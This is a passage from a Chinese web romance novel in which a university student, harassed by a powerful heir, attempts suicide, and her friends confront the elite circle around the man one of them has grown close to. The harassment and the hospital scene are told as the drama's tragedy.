宁今雨继续道:只要她答应,不然就各种不让民宿正常营业,他说这话时人都是漫不经心笑的,好像折磨他们就像捏死蚂蚁一样简单。她最初当然不肯答应,他也就笑着说行,然后转头就找人来闹事,不是堵着门口不叫人营业,就是过来打架滋事挑衅,甚至骚扰客户……
宁今雨气势冲冲的报了警,当时她想的也是一样,还没王法了不成,警察也确实来了,将人带走。可到底不是什么大事,关几天就完事,可他有大把的人可以找,一批还没放出来就又来一批。反正那些人也不会将他供出来,他只安安稳稳的坐在后面笑。
她最后就只能答应,说到这,她看了眼沈晞,就是叫沈晞去GUHIJ那次。
这时沈晞也才知道,原来当时,根本不是什么真心话大冒险的恶搞,而是她真的经历了一场巨大的危险,已经做了最坏的、可能有去无回的打算,幸好对方最后并没有做什么,她才能全身而退。
可想而知那几个小时里,她经受了多大的心里压力和折磨,而回来后,还要经受她的抱怨,还要笑着当做什么都没发生一样的,就真的只像是一场恶作剧一样的和她道歉。
沈晞眼睛有些红的,抬手握住了她放在腿上的手,愧疚又心疼般摩挲了下。
宁今雨却像没事人一样,又或许早已麻木,冲着她麻木的勾了下唇角,她大概是想笑一下的,可这些事压在她的身上,让她早已忘记了该怎么笑,又继续道:
之后,总会以各种方式约她,无所顾忌的开着各种豪车嚣张的停在校门口,让她受同学各种奇怪的目光,那样的眼神她真的觉得自己像是一个货物,充满着鄙夷与心知肚明的讥笑。他或许觉得那样很酷,享受着豪车美女被人注视的嚣张人生,可她却觉得自己的尊严都在被他践踏!
说到这,宁今雨的表情难得又激动了起来,不再像是刚刚如提线木偶般让人看着心惊又心疼。
不憋着就好,沈晞浅松了些气的同时,又不合时宜的想到傅律白,他是真的很妥帖周到,连这些细节都为她想好。不过很快,思绪便又被宁今雨牵走。
宁今雨又嘲讽的轻笑了下,“普通人的尊严在他们这种人眼里又算得了什么,他们或许以践踏别人的尊严为乐子。”
她永远也不忘了,他们那帮人在践踏别人尊严时,那漫不经心轻笑的样子,围在一起就跟看个乐、看戏子表演一样。
就这样虚与委蛇的周旋,终于让她受不了的,想去喝一杯。没想到却遇到了他的手下,故意留住她们,想给他们的酒里加点料,以为这样,她就会老实,就会离不开他,就会受他摆布。
“对不起啊茜茜。”宁今雨手死死攥紧腿上的布料,满眼的屈辱与愤恨,带着哭腔的说着。
她差一点,就把茜茜给害了。
姜瑶听着,气的直接想摔椅子,“草!这什么人啊!”
沈晞没想到事情的前因后果竟然是这样的,虽然上次在警局根据警察和傅律白的反应,她大概也猜到了,但是没想到,那些人,竟然是这样的用意,竟然想用毒|品逼人就范,她气的恨不得把这帮人撕碎。
“你又有什么错?”沈晞难过的,看着宁今雨倔强又不屈的眼睛,眼泪瞬间落了下来,“你才是受害者,受害者凭什么道歉!”
“那这人呢?他带着毒|品总不会还能好过吧?”沈晞现在满腔的怒火,气的胸口都在起伏着。
当时这件事她都没再去多问多深究,一直以为就是一些个社会上玩咖,她们只是倒霉不小心碰到,现在才知道是故意为之撞上她们的,啊啊啊好后悔,好后悔当时就没撕碎他们!
“不会,这么大的事,他也罩不住,况且——”宁今雨冷笑了下,满是鄙夷的说,“他向来也不怎么讲意气,之前那些故意来闹事的进去了也就进去了,也没见他怎么管。”
“而且,你小叔的朋友应该还特意打了招呼。”她说着看向沈晞。
沈晞一愣,没想到他还有后续处理过这件事,心口的怒气有种莫名被安抚了一下,像是他人那般和风细雨的熨帖了。
姜瑶又不知道这个信息,凑过脑袋来问:“谁啊?”
沈晞眼神微闪了下,“就、算是我……领导。”
“哦,这样啊,那你领导还挺好的。”姜瑶在一旁嘀咕着。
沈晞垂眸轻眨了下眼睛。
宁今雨没说,因着那晚,沈晞这位朋友送她过去,那人以为她傍上了这位,从那人口中,她才知道这位大概姓禹。他当时掐着她的下巴眯着眼鄙夷又阴狠带笑的说:“可以啊,原来是攀上了禹家公子的高枝,难怪敢对我这个态度。”
在他们的眼中,女人就像个有着加码的物件。不过她也便顺势让他这样以为,他这段时间便也没再来骚扰她。或许禹家公子是令他忌惮的,又或许他觉得,一个“物件”不值得他伤了情面。
但她并没说,她不确定茜茜知道多少那位禹家公子的身份与来历,是否会给她徒增困扰。
只解释成,因出了这件事,有所收敛,不再敢纠缠她。
她确实安生了一段时间,不过本就是巧合的误以为,又没再继续佐证着什么,他很快发现她和禹家少爷根本没什么关系,是在耍他,他有着被欺骗的愤怒,开始更加的折磨她。他们这样的人,对人精神上的摧残践踏很有一套,毕竟从未把人当人过。
她一直不堪其辱的一边崩溃一边忍耐着,直到今天,她看着那张五官其实长得不错,可终日浸泡在金钱酒色之中满是油腻混沌令人作恶的近在咫尺脸,半年来的积压终于在这一刻爆发,她几乎上头办不管不顾的想要和他同归于尽。
她本来也没有什么好管好顾的。
她突然拿起餐刀戳向他眼睛的时候,她看到了他那双向来只会笑嘻嘻玩弄着别人的眼睛里的恐惧,但到底也只是餐刀,也只划破了他的脸,便被他躲闪的同时大力的攥住了手腕,往后一掰刀便落了地,力气大的像是要将她的胳膊掰断。
而后恼羞成怒的给了她一巴掌,大概还是气不过的又狠狠掐上了她的脖子。空气逐渐稀薄的那一刻,她觉得她会死在这里,又觉得死了也好。只是看着那张作恶的脸,鲜血从他脸上往下流,使他看上去更加的狰狞,她没有害怕,只是有些遗憾的刚刚没能杀死她。
但她也已经尽力了,赋予抵抗的用尽了所有的力气与手段,在他们这样有权有势人眼中,不过是徒劳。
他的兄弟恰好在这时进来,才暂时拉回了他的理智,她才能活着坐在这里,和她们讲完这些。
“到底是谁啊?!”姜瑶听完后几乎大发雷霆,“就算我不行,我去找我爸,从中间调和一下总可以吧?”
也总比现在这样,单是听着,都觉得压抑到窒息的好。
沈晞也是第一次真正感受到世界的黑暗与残酷,虽然她从小也听过很多看过很多,可才知家里那些和这个阶级的相比,真是大屋见小屋。
宁今雨见到她们执著,知道不告诉她们不会死心,她无声轻叹了口气,“秦凯。”
这个名字一出,刚刚还信誓旦旦的讲在京市有什么是她管不了的姜小公主顿时蔫了,眼睫垂了下来。
沈晞看她这个反应,心沉了沉,“很难弄?”
这不是难不难弄的问题,越往上真就等级越明显,他们家也就只能算是这圈子的最外层,人家才带着玩的程度,而秦凯这个名字她也是听过的,算“太子党”那波的了,算是已经到了最核心层。
他们家都说不上话。
宁今雨早知道会是这样,见到她为难的表情,还安慰她说:“没关系。”
只不过声音也轻飘飘,眼神也轻飘飘,就好像人都要飘散了一样。
之后的几天里,宁今雨一直躺在宿舍里,很安静,安静的让沈晞害怕。
便也哪儿都没敢去的陪着她,平时她上班时姜瑶也会过来。
这周末,沈晞心不在焉的在宿舍处理些工作,神龙见首不见尾的傅律白终于有了时间,来约她,沈晞微微侧头,看了眼侧躺在床上隆成了小小一团的人,没应。
傅律白这样子的人,被拒绝也是从容松弛的,也不会给拒绝方什么压力。
听着他温温淡淡却又好像什么事情都能处理总是可靠的声音,沈晞有好几次都想向他开口,可却又被她咽了回去。
她不知道他的具体身份,是否到了这层,这样冒然开口是否会给他带来麻烦
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,最终还是什么都没说。
却在挂电话时,傅律白忽然开口,“茜茜,最近有没有事。”
仍是那随意的语气,随意到甚至让人忽略了这话题转来的突然。
沈晞抿了下唇,语调也是故作的轻松,“有事啊,忙不完的工作加不完的班,比不上傅先生潇洒自在。”
傅律白鼻息间轻哼出来声笑意,轻轻沉沉的挠人耳朵,让心跳也为之共振随之打鼓般变快。
挂了电话,宁今雨难得动了下,从床上探出头来,“茜茜你不用陪我,你可以去的。”
她脸色很淡,如果说之前她是清清冷冷的,现在像是冰封住,连眼神的转动都变得缓慢。声音也竟有种行将就木的绵软。
“没什么好去的。”沈晞回过头来,冲着她笑容不及眼底的勾起个弧度来,算是安抚,却也不尽然。
经过这件事后,她会不自觉的去想,他的世界其实是否也是如此?
让人有些望而却步,一时间不知道以什么心态去相处面对,却也实在是不放心宁今雨一个人,她现在的状态实在是不怎么好。
宿舍一时间安静,平日里两个人不在宿舍,宿舍安安静静的,现在明明两个人都在,确实一股说不出的压抑与沉寂来,连呼吸都变得沉而缓。
就在这时,宿舍门再次被打开,阳光顺着门缝倾泻照亮了整个房间,姜瑶从阳光里冲了进来,扯了扯沈晞的衣袖,脸上带着几分激动与兴奋。
-
傅律白挂了电话,周闻颂刚好敲门进来,将这些天来一些他需要处理的文件交给他。
傅律白接过,随手翻了翻头未抬的问:“这段时间她有没有遇到什么事?”
这个“她”自然是指沈小姐,傅先生也不会再多过问其他人。周闻颂也时不时留意沈小姐那边的情况,只不过傅先生也说,只留意便好,不必安排的太过,免得人不自在。
没想到傅先生却主动问起,不知是否有什么是他工作疏忽没察觉到,想了下还是如实说:“没有,这段时间沈小姐都在跟着禹先生玩。”
傅律白知道这事,也确实没听禹开然那边说过什么,他向来人精,要是没觉得哪不对,那应当是没有的。
不过他总觉得刚刚她讲话时,有些欲言又止,大概是他多想,挥挥手便叫周闻颂先下去。
……
金丝八瓣莲花栩栩如生,层层第开,细细沉香抵在花芯上袅袅烟雾,遒劲的笔道流畅的落在薄韧的宣纸上,随着最后一笔笔锋回收,香灰也恰好落到花芯上,给这重莲香插又平添了几分禅意。
“律白瞧瞧,怎么样?”
傅律白站在案边微微探身,淡声赞道:“秦老笔力刚劲,看来身子骨还是十分硬朗。”
秦老放下手中宣纸,抬眼冲他笑道:“过几日我八十寿辰,你可得来。”
他长着这个年岁老人,少有的富态,有些大肚便便,这样一笑满眼的精神,大有不来不行的架势。
傅律白轻垂了下眼,过了两秒才自然的冲他温淡道:“那是自然。”
秦老这才松了口气,内心远没他表现的那样自然轻松。这下放了心,才更自然的冲他道:“听你爷爷讲你的字从小就不错,来给秦叔长长眼。”
“比不上秦老。”他不卑不亢的淡声说着,唤得仍是“秦老”,似是尊敬可却也拉开了这份关系。
秦老:“……”
却还是给了面子,拿起笔来写上一幅,秦老忙腾开位置,将自己那副拿开,露出下面新的宣纸来。
傅律白写字,也没像刚刚秦老或是大多数练字人那样,金刀阔马般气势端得十足,他拿起笔来只在纸上如随意般一写,身姿却很正,姿态潇洒如古代世家公子哥却又习了些武,下笔便又有力道又笔锋却又飘逸不羁。可偏偏他站在这里,又莫名让人有种坐道点化般的心境,如谪仙般,偏偏眼中还染了几分红尘世俗。
再配上旁边的莲花香,有两种十分反差的气质萦绕在他身上,却又融合的很好,并不觉得违和。
他写的也简单——福寿双全。
是周道应景也是某种提醒,提醒他这个年纪福寿已经有,也已足够多,别再折腾些什么,秦老瞳孔微缩的接过。
傅律白却温和浅笑道:“我就说比不得秦老。”
秦老快速调整着情绪,手中这力透纸背的字写的也如他刚刚那般潇洒俊逸,这个年纪却已经笔锋笔势很足,嘴上却还给足了面子,秦老不得不心悦诚服的说一句,“过谦了。”
傅律白也只垂眸礼节淡笑。
昨日约人没出来,想来今日无事便替老爷子来走个过场,喝完茶后才离开。
等人走后,韩老无声轻叹了口气。
一直陪在旁的小孙子又给他倒了杯水,有些不解的问:“爷爷您为何对他那么客气。”
虽然知道傅先生的身份,他们这些小辈也向来对傅先生客客气气,可爷爷毕竟是他长辈,何至于此。
韩老拿起水杯喝了口,声音难掩疲惫,“现在形势这样复杂,拉上傅先生这条大腿,总归没错。他叫我一声韩老,那是人家客气给面子,也是人家的礼节,还真当我是人家长辈呢。”
他说完又看了眼自己的小孙子,无奈摇了摇头,也不怪代代来一直是人家傅家,他们这几家里的小辈,又有哪个能像傅律白这样。
-
某私人别墅外,豪车络绎不绝一辆接着一辆驶来,又被门童引去停车场。
沈晞和姜瑶从其中一辆车里下来,临下车前,沈晞还整理了下胸前有些挤的礼裙,是姜瑶随手拿给她的,她穿着有些不合适,却也来不及为了这个再去买一套,毕竟这里的人也不配。
别墅外被特意装扮过,大门上都挂上了彩灯,堪称金碧辉煌,沈晞眼神有些发冷,这就是这些人惯常的生活么?难怪习以为常的将人踩在脚下。
姜瑶倒是常来这样的场合,此时却有些紧张。那日她好不容易偷听父亲和别人讲话,又旁敲侧击的打听到了秦家家主举办寿宴,秦凯算是秦家孙子辈,但并不是直系,只是沾亲带故的表亲。
这样的人家最重视名声和体面,别人管不了,秦老爷子还管不了么?
哪怕也是个被钱权侵染到傲慢的人,但当着这么多人,装也得装装样子。
她们今天来,就是要来大闹一场!
26. 第 26 章
不过这种事情,当然不敢让家里人知道,车都是她从车库里找了一辆好久不开的,自己悄悄开过来的,全程没超过三十迈过,这都吓得沈晞攥紧了把手,没办法,她平时都用司机接送车技确实很烂,能开过来、还是顶着这样的心里压力开过来,她自己都觉得奇迹。
但转头,看到沈晞嘴角勾起抹高贵冷艳像是在无声的宣战杀疯全场时,她的心莫名的也跟着沉了下来,眼神变得坚定且无畏。
两个人就那样穿着漂亮的拖地礼裙,一白一黑,像两个高傲的天鹅一样,昂首挺胸的走了进去。
场内已经不少的人,在三五成群的交谈着,两个人自然融入,同时姜瑶为她小声科普介绍着,她们两个也没想闹的太大,只想把这件事当着所有人的面说一说,利用群体压力来向韩老施压。
沈晞边听边视线扫过越来涌入越多的人,也同她低声说着,“等会我去,你别出面。”
“说什么呢?”姜瑶眼睛微瞪,不乐意了,“不是早就说好了么,这事怎么能算在你一个人头上。”
“算我一个人头上又怎么了,反正我和这群人以后也不会有什么交集,对我又不会有什么影响。”相对于姜瑶的急躁,沈晞这会儿稳得不像话,开口语调都是平平稳稳的没什么波动,像是早就想好,“但你不一样,你总要为你父亲想想吧,真出事他会很难做。”
姜瑶迟疑了,刚要说些什么,周围的交谈声忽然消失,会场陷入瞬间的安静。
两个人下意识的抬过头去看,便见靠近内室的人群自动散开,有鹤发童颜穿着红色唐装肚子微圆长得很喜庆的老人被拥簇的从里走出来,一旁还跟了个年轻男人,穿着灰色西装外套,白色衬衣未系领带,沉稳间又不失从容松弛。还有几个西装革履气度非凡的年轻男人,呈扇子形跟在他们身后。
沈晞一错不错的看着不远处被拥簇的人,一时间有些怀疑自己的眼睛。
姜瑶没发现她的异常,小声在她身旁说着,“这位老人,就是韩老。”
韩老,京圈韩家的大族长,经过姜瑶的科普她已经知道,他们这些人不是他们家这种小生意能够够得着边的,就连姜瑶他们家也只是擦了个边,号都排不上那种。他们这些人,是真的有权有势既富既贵的处在核心圈站在了金字塔上。
那他这样的年纪,在其他小辈还跟从在身后的情况下,他便已经成了韩老的座上宾,甚至隐隐有平起平坐的姿态和韩老一起出来,那他是谁?
姜瑶还在小声的科普着,“最左边这个桃花眼,长得一脸海王样的人,据说前两年还和□□长的孙女联姻过,不过后来不知道为啥没成。”
沈晞愣愣的看着禹开然,那被他客客气气的三哥,又是何等的尊贵,会联姻给谁?
“不过他们这种人,婚姻向来自己做不了主的。”姜瑶的声音还在继续,可她却已经听不真切,只看着远处被站在金字塔尖拥簇仍旧从容自得,甚至深情有些冷漠的人,如果说那日的宴会她觉得两人像是隔着跨不过的鸿沟,可那也只是鸿沟,是肉眼可见的,是能够丈量出距离的。
可现在,她却觉得像是隔着可望不可即的银河,人头攒动下,明明是那张再熟悉不过的脸,可她却看不清了。
沈晞眼睛莫名的有些发酸,难过的想要流泪。
站在人群中中央的傅律白忽然察觉目光,下意识地看过来。
“砰——”
不止谁准备的礼花当个好彩头,两个人的视线隔着坠下来的金丝带在空中相撞,沈晞的视线变得模糊。
傅律白一怔。
沈晞手中的手机不停的响着,也毫无察觉,直到一旁的姜瑶提醒她,“茜茜,电话,是不是有什么急事?响半天了。”
沈晞下意识接听,可视线仍是看着不远处的男人。
电话里不知道说了些什么,下一秒,在和男人的对视中她眼中的热泪毫无预兆的坠落了下来,在傅律白迈步向前的同时,她转身,逆着人提着笨重的礼裙向着出门竭力的跑去。
黑色的拖地抹胸长裙衬得她本就白皙的肌肤在光下好像在发光,她只随意盘了个发,随着动作鬓角碎发慢慢散落,让她原本精致纯欲的脸多了些说不出的慵懒与风情来,眼中的泪随着跑动洒在了空中,让她看上去倔强又破碎,这个画面实在是太具冲击性,拍画报也不过如此,竟然让全场人一时间看呆,还是姜瑶率先反应了过来,追了出去。
“茜茜!茜茜——”
终于在跑到停车场时,姜瑶追上了她,抓着她的胳膊忙问着,“怎么了?出什么事了?”
沈晞像是失了魂,被这样一抓全身猛地一抖,看到是她后才回过神来,开口便带上了哭腔,“小雨自杀了,现在在医院。”
“什么?!”姜瑶脑子嗡的一下。
……
会场内的众人也反应了过来,“怎么回事啊?”
“这是谁啊?”
傅律白也没想到沈晞会出现在这里,他对别人的目光向来早已习惯,只是那一道目光实在是太过明显炙热,他下意识看过去,便对上了一双熟悉却又不熟悉的眸子,他从未在那双灵动又清明澄澈的眸子里见过那样的情绪——震惊、诧异又难过,那样的情绪实在是太过浓烈,浓烈到让他震撼的一时间几乎将他钉在原地。
等他反应过来,想要走过去时,她却毫无预兆的哭了,那滴泪像是砸进了他的心里,让他莫名的生出几分燥郁来,他几乎想也未想,侧身和人打了声招呼,“韩老抱歉,突然有些急事,先走一步。”
韩老还在刚刚的礼花兴奋中没反应过来,傅律白便已经转身,禹开然和程开霁自然也看到了沈晞,两个人默契的对视了一眼,禹开然便跟上三哥,在众人思忖又狐疑的目光中离开。
而程开霁留下,笑着解释,说些场面话,将韩老的魂拉回来。
韩老哪里还兴奋的起来,他难得将傅律白来过来,就是想让众人看见散发出某些信号来,而此时他却在众目睽睽之下走了,却又不好问什么。
神色有些复杂的看着傅律白离开的方向。
但傅律白还是慢了一步,等他出去时,只看到一辆汽车的残影,刮起一道尘土来。
两个人快速的上了车,紧紧跟在车子的后面。恰逢晚高峰,隔着几辆车便像是够不到的距离,值得看着前面的小白车一窜一窜的走。
看着那启动和踩刹车的架势,似乎都能想象出此时车中人的急躁。
傅律白尝试着给沈晞打电话,电话通了,但是没人接。
又想到她在会场上看他的那最后一眼,双眼含泪的像是受尽了委屈与……埋怨?
傅律白忽然有些头疼,扶了扶额,嗓音微沉道:“查查出了什么事。”
禹开然也想查,但此时在车上,实在是难以下手,刚刚在车上就思考了一下关系网,忽然发现大家似乎都觉得这个乖宝宝太乖,人际关系太简单,竟然也没觉得她还能出什么事,净带着人瞎玩了,也没什么实质。
此时又事发突然,他侧头看了眼三哥,觉得压力山大,没把人给看好。
按理说,以姜瑶的车技,田师傅应当是追得上的。但大约是受了刺激一路超水平发挥竟生生没让追上。
到了医院,仍心有余悸眼睛发直坐在抢救室外的刘颖见到她们,像是找到主心骨一样从椅子上站起来抱住她们就哭,“你们可来了,天呐吓死我了,好多血啊,我这辈子都没见过那么多血。”
“现在怎么样了?”沈晞越过她的肩看着鲜红的“正在抢救”几个大字,忧心忡忡的问:“到底怎么回事?”
“我也不知道啊,我本来就是无聊转着宿舍看看谁还在,想找人玩,没想到转到你们宿舍门口,发现了血,我开始还以为是什么水果汁呢,但是越看越不对就敲了敲门,没人开可是听到了什么‘咚’的一声像是什么撞到的声音,然后血越来越多,我就下去找宿管了。”
“打开门以后,天呐,那血是顺着卫生间流出来的,我们就赶紧去卫生间,她还把卫生间从里面反锁了。好半天才知道后勤把门给撬开。我们进去的时候——”
“她就穿着睡衣躺在里面,手腕割了好几道,有一道都快要看到骨头了,血肉纷飞的,身上全是血。”刘颖现在想到那个画面还腿发软,吓得眼睛又红了。
沈晞却有些站不住,“血肉纷飞”、“快要看到骨头”,卫生间离门口还有个两三米的距离,她应该是在卫生间里面,昏倒后胳膊才靠近了卫生间门口,血才顺着台子流下来,慢慢蔓延到了门口,被刘颖看到。
那样的出血量,人还能活么……?
沈晞脱力般,不由自主的往后倒了两步,她们明明就要去为她讨回公道了,为什么啊?
为什么不能再等等她们?
下一秒,人被人扶住,靠在一个温暖又坚硬的胸膛上,她下意识地抬起头,看着面前的人,眼泪一下子流了下来,像是要问出所有的委屈与怨恨来,“你们就这么不把人当人看么?”
傅律白被她这堪称字字泣血的责问给问懵了,同时那股在会场上便压在心里的燥郁逐渐变成了某种说不出的沉闷来,他压着那股情绪,声音更加的轻了,像是安抚,“出了什么事?”
他还是那个样子,那样的语气,就好像出了什么事都可以为她解决,她曾经也是深信的,可现在是一条活生生的人命,他怎么解决?
她又怎么再相信他,她甚至连他是谁,她都不知道!
沈晞想着,眼泪再次流了下来,比之刚刚的,更加的委屈,又多了几分倔强。
傅律白被她这个表情刺的,心口的沉闷逐渐变成了沉痛,让他的呼吸都变得有些难受。
就在这时,抢救室的大门从里面打开了,沈晞推开他没带一丝停留的跑了过去。
医生从里面出来,看着几个神色焦急的人,摘下口罩说:“放心,已经抢救回来了。”
沈晞站不住的闭了下眼睛,姜瑶直接抱起她哭了起来。
她睁开眼,平复了下情绪,一边抱着姜瑶一边对着医生含着泪说:“谢谢。”
医生看着她们还都是大学生的模样,不知道发生了什么事,能让一个小姑娘想死的决心那么坚定,真的是刀刀没留余力,就没想让自己活下来。
“应该的,”他轻叹了一口,又说,“好好劝劝,没什么解决不了的事。”
沈晞轻点了下头,可心里想的却是,或许在小雨这真的解决不了了。
她向来坚强,如果不是逼到绝路上,绝对不会这么做的。
她是那种,宁可同归于尽,也不会让对方好过的人,她可能真的没办法了。
沈晞垂着眸,掩饰着眼底的泪水。
没过多久,宁今雨被推了出来,她们几个围上去,几个人顿时又想哭了。
床上的人没有一丝的血色,脸色惨白的如果不是医生说已经救回来了,沈晞会觉得她已经不在了。只有微弱的呼吸证明着,刚刚医生说的话并不是沈晞的臆想。
几个人一起将人推到病房里去,路过傅律白时沈晞连头都未抬,就那样从他身旁过去。
傅律白看着这情况,也隐约明白发生了什么才让她刚刚那样情绪失控,但为什么会对自己说出那句——“你们就这么不把人当人看么?”
这样相当严重的控诉与指责。
禹开然自然也听到了这句话,两个人站在一旁,车从面前推过时,他扫了眼床上的人,觉得眼熟,过了两秒后想起来,想到上次他将人送到秦凯那边去,还有他小弟悄悄打算给她们酒里放东西,以及今天茜茜忽然出现在寿宴上。
他眉心微蹙,将这些告诉了傅律白。
傅律白听着,眸色微沉,“去查查秦凯。”
禹开然点头说“是”便匆匆走了,走了两步又停下,回过头来问:“那三哥你……”
傅律白冲他挥了挥手,禹开然便明白,这是不必管他的意思。
沈晞在这,三哥怕是一时半会走不了了。
-
出了这么大的事,自然惊动了学校,导员和院领导都赶了过来,知道人脱离了危险才松了口气,沈晞几个人去将人送走时,都忘记追究两个人怎么穿着这个样子。
再回到病房时,沈晞看着床上打着点滴,有着微弱呼吸的人都还有种不真实感。
姜瑶也没回过神来,两个人一站一坐竟然一时间谁都没有说话。
也不知过了多久,床上的人慢慢睁开了眼,两个人都在聚精会神的凝视着她,都在想着怎么会这样,所以人一醒她们就发现了。
两个人都不由睁大了眼睛,坐得近的沈晞轻声问着,“你醒了?”
像是怕将人吓到,脆弱的好似风一吹就会散掉。
宁今雨看着她,嘴唇嗫嚅的在说着什么。
沈晞有些没太听清,俯身趴在她唇边,“什么?”
“对不起啊茜茜,没想在宿舍的,没想吓你的……”宁今雨费力的说着,几乎气若游丝,“但是我实在受不了了,他又打电话来威胁我,说我不出现,他就要找人毁了民宿……我就在想,他怎么就不能放过我呢?是不是我死了一切才能结束?那一刻我真的受不了了,对不起啊茜茜……”
“咳咳——”大概是太消耗她的精气,她说完,便又轻咳着,连咳都没什么力气,单薄的胸腔震荡的令人害怕她真的会碎掉。
“没事没事,”沈晞扶着她的肩忙说着,可说着泪便再次不受控制的流下来,直到这个程度,她醒来的第一句话竟然是和她道歉,竟然是怕真死在宿舍会吓到她。
“你是不是有病啊?!”她带着哭腔忍不住骂道。
宁今雨愣了下,因为咳嗽脸色竟带上了几分红润,看上去没再像之前那样吓人。
沈晞却有些受不了了,手慢慢的攥紧拳,一时间不知道怎么安慰,说什么都像是徒劳,她慢慢的又将手摊开,抬手摸了摸她的头,打着商量的说:“别做傻事了好么?我们一起想办法行么?”
虽然她说这句话,自己都觉得苍白。
宁今雨却垂眸,配合着点了点头。
沈晞忽然觉得胸闷到不像话,她再也待不下去,对着宁今雨轻笑着说:“你是不是还没吃饭?我去给你找点吃的。”
说完,又看了眼姜瑶,意思是让她先看着,姜瑶给了她一个放心的眼神,她便再也不想在这窒息的地方多待一秒的走了出去。
另一边,禹开然也很有效率,查到了究竟发生了什么事,向来在三哥面前注意说话方式的他都没忍住爆了粗口,“我草这个秦凯真的不是人,难怪茜茜会说那
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样的话,她不会因为今天见到咱们跟他老祖宗一起,以为咱们也是那样的人了吧?”
说完,他便看向傅律白,下一秒,心神微震。
因为他在三哥温淡的眼中,看到了彻骨的寒意,像是带着冰碴的利刃,刀刀要见血。
-
沈晞坐在医院外的椅子上,她其实并不知道刚抢救回来的人能不能吃东西,也不知道宁今雨会不会觉得她这个说法实在是太过拙劣与奇怪,但她实在是在那里太难受了,闷得她呼吸不上来的快要窒息。
可又不禁想,如果她这个旁观者都如此难受,那处在漩涡中心的宁今雨呢,她又要压抑窒息到什么程度?所以她才会彻底忍受不了的,选择了今天的这条路。
沈晞将脸埋进双手里,有一种深深地无力感。
就算今天,宁今雨被成功的救了回来,那之后呢?这窒息的根源还在那里,没办法解决。所以她当时就连劝她,都那样的苍白没有底气自己都不信的站不住脚。
时不时有路过的人在看她,她也不甚在意,穿成这个样子在医院确实很奇怪。她甚至还能为停留住目光看她的人而欣慰,至少自己或家人并不是生了什么大病,才会有这样的心情去看她这个奇怪的人。
她也在这一刻,忽然明白了禹开然他们之前的那些个在她看上来,有些疯的举动,可以活得这样随心所欲。
忽然,肩上落下柔软又带着些体温的重量,她原本以为这样字的西装外套穿在身上会很硬,因为外表看上去是那样的挺括。
原来是柔软的,甚至类似于羊绒质地,轻抚着肩膀裸|露的肌肤,那样的触感传递到胸口,像是在熨帖着心脏,让她有瞬间的鼻腔发酸。
还记得那晚,她还在计较那件搭在椅背上的衣服为什么不给她,是否是关系没到没有资格,而如今,那衣服原原本本的被他亲手披在肩上,被带着他的体温笼罩,原来是这样的感觉,比之想象的还要温暖与柔软,她却觉得她要不了了。
“先送你回去,这里我会找人看着。”他在一旁这样说着。
这就是位高权重的他,一切都能用钱来解决么?说出来的话,也都这样没有一点温情。难怪之前每次出些事情,在他口中都会有种轻描淡写的可以解决,并且让人安心相信的魔力。他确实有办法,就连现在也是用这样直白的方式。
“如果是你的亲人朋友在里面,你也会这样么?”她看着他,带着几分怔然与不可置信,想知道他对亲人朋友的态度,是否也是这样直白没有温情。
“什么?”傅律白愣了下,今晚他的情绪也因为她而剧烈波动着,这样的情况很少见,他向来很会控制自己的情绪,也喜欢压着自己的情绪在一个平稳的波段中,如直线般,不会怎么起伏。
情绪的过度起伏与他们这种人而言,并不算什么好事。只有稳定的情绪,才会让他在任何时候都保持清醒的,做出正确的、哪怕只是不出错的决定;
也会让人看不出喜好,猜不出他的心思来。
所以他早就习惯控制各种各样的情绪,不会过度难过、愤怒、亦或是开心与兴奋。
但后面那两种情绪在认识她以后,他倒是竟然感受,今日感受到了前面两种,甚至是更多。
这样的情绪波动,让他难得的反应慢了半拍。
“如果是你亲人朋友在里面,你也会只请个人来,就当是尽了义务就完事么?”她圆亮漆黑的眸子一错不错的看着他,可却又好像失去了力气,连看着他都带着疲惫。
看出她眼里的认真,傅律白也向她认真的回答,“要看是关系到什么程度的亲朋。”
这句话很官方,也很理性,可配上他向来温淡平缓的语调,就又显得有些理智的冰冷。她向来喜欢他这种淡淡又疏离的样子,但现在却又不想再思考判断他讲这样的话是否是骨子里的冷血。
看出她眼神中的波动,不知道她又在乱想什么,傅律白难得解释说:“只是你一个女孩子,晚上在这里不方便,护工会帮你照看好,你明早再过来。先送你回去?”
最后一句,他语调中带着几分试探与商量。
傅先生又何时用过这样的语气和人讲话。
“不麻烦了傅先生,”可沈晞嘴里,是明明白白的拒绝,“我又哪里用得起傅先生。”
他听过她叫过他很多次“傅先生”,有调侃打趣的,有俏皮有事相求的……也有最初客气的,但这样明晃晃的疏离,像是划分了楚河汉界般,还是第一次。
同时也被她语气间明显带着刺,刺得不由得微微皱眉,“茜茜……”
沈晞被他这一声叫,叫的差点当场就哭出来,多么亲昵间的小名。
却强忍着,深吸了一口气,越发的清醒,表情、语气也都越发的冷静,带上了那股置身事外的清冷与嘲讽,“我和我小叔,又哪里配让傅先生这样费尽心思的去骗,给自己生生造出了一套身份来,这样的兴师动众,傅先生,我们只是两个普通人,不值得你这样的。你在担心什么呢?你以为我们会怎么样?去攀附、巴结、利用,像个吸血鬼一样占你便宜么?我以为……”
她仓忙的转过头去,情绪快要控制不住,“我们至少是朋友。”
可说完这句话,她的眼泪还是不受控制的落了下来。
她今天的情绪也很失控,好友的自杀差点离世、朋友的隐瞒背叛——至少她是真的把傅律白当成了朋友,可现在却发现,身份是假的什么都是假的,她显得那样的可笑。
以及还有一些其他她解释不清的奇怪情绪在,一切的一切都让她眼睛变得像是自来水一样。
她的头其实转的很快,可傅律白还是看到了她那想哭又强忍着,要哭不哭的表情。她应当永远快乐鲜活的,就在那日公司落地窗前,他们一起俯瞰着窗外车水马龙时,他就想,他虽谈不上手眼通天,但想护这么个小姑娘尽情明媚鲜活,总是护得住的。
没想到她今日在自己面前哭了这么多次,似乎还是因为他。
傅律白浅淡的眸色沉的浓如滴墨般,他深吸了一口气,垂在身侧的手也随之握紧,随后又摊开,伸手按在了侧对着自己的人的肩上,掰了掰,想将人扶正,“茜茜……”
他手上没怎么用劲儿,沈晞没动。
她现在一点都不想看他。
可下一秒,却有若有似无得轻轻叹息从耳侧传来,很轻,也可能只是风伴随的错觉。而后是微微布料摩擦声,以及身侧微微的轻动,正在她想,人时不时就这样走了,毕竟傅先生何等尊贵——
她后面的还未想完,比如衣服要不要转过头去还给他,那张深邃又总是因为浅淡眸而让人忽视掉他其实是带有攻击性的长相的脸,就这样出现在了自己面前。
和自己平行,甚至隐约是俯视的视角。
沈晞这才意识到什么,他身上仍穿着那件质地偏软的白衬衣,柔顺的贴在他的身上,勾勒出宽挺的肩背和劲瘦的腰身。他穿这样的衬衣时,总显得清冷又疏离,似乎行走于世界红尘之外,而此时,他却蹲在自己的面前。
